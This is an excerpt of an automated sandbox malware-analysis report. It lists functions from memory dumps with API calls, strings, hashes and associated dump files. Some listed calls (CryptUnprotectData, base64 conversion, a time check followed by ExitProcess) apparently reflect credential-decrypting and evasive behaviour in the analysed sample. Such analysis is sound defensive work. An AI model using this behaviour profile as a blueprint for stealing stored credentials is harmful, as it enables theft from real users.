Part of subcall function 6CE74DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CE74E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CEC2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CEC2E2D

Part of subcall function 6CE881B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CE881DE

Strings

ProfileBuffer parse error: %s, xrefs: 6CEC2E3B
expected a Time entry, xrefs: 6CEC2E36
(root), xrefs: 6CEC354F

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 192dc22c171c302907fb837f5c744ca31aaa7fe58d8c9ef412ffa46bbbd22fd8
Instruction ID: a88850a3884f4bcd1c96c98225c3fbceda38023f72ae4aaa3b49093433fef3bf
Opcode Fuzzy Hash: 192dc22c171c302907fb837f5c744ca31aaa7fe58d8c9ef412ffa46bbbd22fd8
Instruction Fuzzy Hash: A0919E706087418FC724CF24C58569EBBF1AFD9358F20891DE9AA9B790DB30D94ACB53

Function 6CE7D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

8, xrefs: 6CE7DC08
9, xrefs: 6CE7DE7F
0, xrefs: 6CE7DC7F
, xrefs: 6CE7DA88
-, xrefs: 6CE7D7DD
1, xrefs: 6CE7DBDD
@, xrefs: 6CE7DAF6
0, xrefs: 6CE7D852

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: c6057322edc17213dc5c9fae5e67afa6bafffeb21ed8f398d33c5b54f8a0f68c
Instruction ID: da15d502faeff54c9a959b8a75704f133ff74a4b2e1dae36964d9654b3db1e75
Opcode Fuzzy Hash: c6057322edc17213dc5c9fae5e67afa6bafffeb21ed8f398d33c5b54f8a0f68c
Instruction Fuzzy Hash: 0462AB7950C3858FD721CF18C09075ABBF2AF8635CF284A0DE4D54BB91D3759A86CBA2

Function 008DC7FF Relevance: 10.3, Strings: 7, Instructions: 1594COMMON

Download Yara Rule

Strings

a6]}, xrefs: 008DC914
UKh, xrefs: 008DD825
UJe1, xrefs: 008DD9B0
>?, xrefs: 008DCE84
vexn, xrefs: 008DCB49
ap~?, xrefs: 008DD931
4=7, xrefs: 008DC96D

Memory Dump Source

Source File: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: UJe1$UKh$a6]}$ap~?$vexn$4=7$>?
API String ID: 0-170316696
Opcode ID: 55d8eb1fe4a2ef6577a1057bcdf26a3e454622ed7587f0ebc304f88665cfb136
Instruction ID: b9f269a641a330d33e9249f2a0a8b4c8b7d445d8955e41c3696ec58236f08913
Opcode Fuzzy Hash: 55d8eb1fe4a2ef6577a1057bcdf26a3e454622ed7587f0ebc304f88665cfb136
Instruction Fuzzy Hash: D1B2E4F3A082049FE304AE2DEC8577ABBE5EF94220F1A453DEAC4C7744EA7558058697

Function 008E3422 Relevance: 10.3, Strings: 7, Instructions: 1589COMMON

Download Yara Rule

Strings

?D~E, xrefs: 008E34CC
8_, xrefs: 008E4539
q{o, xrefs: 008E3DE0
fo=, xrefs: 008E41D3
.0~|, xrefs: 008E36B4
*BO^, xrefs: 008E38BA
+{_, xrefs: 008E39DE

Memory Dump Source

Source File: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *BO^$+{_$.0~|$?D~E$fo=$q{o$8_
API String ID: 0-2855395072
Opcode ID: 3bebb86b7c7a40a4cb134c45ba7273858c9063cb0f1cc695b39c2df9e61a3aca
Instruction ID: da674f00b65050c825021aa324cc0d2e89f21f4fa7a52f45d2282bf3b013f15c
Opcode Fuzzy Hash: 3bebb86b7c7a40a4cb134c45ba7273858c9063cb0f1cc695b39c2df9e61a3aca
Instruction Fuzzy Hash: 26B2F7F3A0C3049FE3046F29EC8567ABBE5EF94720F1A893DEAC483744E63559058697

Function 6CEE545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CEE8A4B

Strings

~ql, xrefs: 6CEE9459, 6CEE56C7, 6CEE921F, 6CEE9269, 6CEE5703, 6CEE5740, 6CEE948F

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: memset
String ID: ~ql
API String ID: 2221118986-287904168
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 38fc37c43431beba701940b37c25089719e51c15ad062bc66e391be4e858a3ab
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: DEB10772E0121A8FDB24CF68CC907E8B7F2EF99314F2902A9C449DB785D7309985CB91

Function 6CEE542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CEE88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CEE925C

Strings

~ql, xrefs: 6CEE9459, 6CEE56C7, 6CEE921F, 6CEE9269, 6CEE5703, 6CEE5740, 6CEE948F

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: memset
String ID: ~ql
API String ID: 2221118986-287904168
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 9e7fbab2750d1f9d6c7cd8a7fadde62bf99837a0383023d6d5b889a1d4b94175
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 53B1B772E0110ACFDB24CF58CC816EDB7B2EF99314F250269C949DB795D730A999CB90

Function 00529AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NR,00000000,00000000), ref: 00529AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00524EEE,00000000,?), ref: 00529B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NR,00000000,00000000), ref: 00529B2A
LocalFree.KERNEL32(?,?,?,?,00524EEE,00000000,?), ref: 00529B3F

Strings

NR, xrefs: 00529AD4, 00529AE1, 00529AF9, 00529B18, 00529AE4, 00529B1B

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: NR
API String ID: 4291131564-263112399
Opcode ID: 2f5ad2118ace210f131b2650ee8d78f2adcd57e352311e0b11a41755b21d2537
Instruction ID: 71626ab0f4071378dc82f4d01bfe06f156fb8fa2a7ea8c8edff6b4e30b9242f6
Opcode Fuzzy Hash: 2f5ad2118ace210f131b2650ee8d78f2adcd57e352311e0b11a41755b21d2537
Instruction Fuzzy Hash: C5119FB4640308AFEB10CFA4D895FAA77A5FB8A700F208058F9159B390C6B6A901DB94

Function 00536920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0053696C
sscanf.NTDLL ref: 00536999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 005369B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 005369C0
ExitProcess.KERNEL32 ref: 005369DA

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 9cbac16cde4e82330ea2497c669873e169902d98604af3b416a0bc1d92d7ca1f
Instruction ID: 0cd93f196a6bb38acf4db15e42cb3b73e034da011c5579ac488907ff793d22b1
Opcode Fuzzy Hash: 9cbac16cde4e82330ea2497c669873e169902d98604af3b416a0bc1d92d7ca1f
Instruction Fuzzy Hash: B221CB76D14209ABCF04EFE4D945AEEBBB5BF48300F04852EE506F3250EB749605CBA9

Function 00527240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0052724D
RtlAllocateHeap.NTDLL(00000000), ref: 00527254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00527281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 005272A4
LocalFree.KERNEL32(?), ref: 005272AE

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 4f15186b6a51a32c2d75759d1129bb19f1a8187107a560fc506914493202ee2f
Instruction ID: 6e0eb203b8896929a74a4a72f45879dc374ad489fa45a1c274c3314e50b3ac7e
Opcode Fuzzy Hash: 4f15186b6a51a32c2d75759d1129bb19f1a8187107a560fc506914493202ee2f
Instruction Fuzzy Hash: 2B010075A40308BBDB10DFD4DD45F9D77B8BB44704F108558FB06BB2C0D6B4AA008B69

Function 00538EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00525184,40000001,00000000,00000000,?,00525184), ref: 00538EC0

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 96e18545ac29e53934e9f32bd87ddbe67c63cceb366ecffaea64fa7047a12d43
Instruction ID: 246e17524bdc9e3b4191852c3819754199c085cbdde72df8c409793f71a41546
Opcode Fuzzy Hash: 96e18545ac29e53934e9f32bd87ddbe67c63cceb366ecffaea64fa7047a12d43
Instruction Fuzzy Hash: 27110674200309BFDB08CF64D884FBA3BA9BF89300F109958F91A8B250DB75E941DB64

Function 008DFD50 Relevance: 5.4, Strings: 3, Instructions: 1656COMMON

Download Yara Rule

Strings

T=_k, xrefs: 008E0AAA
'r|, xrefs: 008DFFA3
HTsv, xrefs: 008E0F39

Memory Dump Source

Source File: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
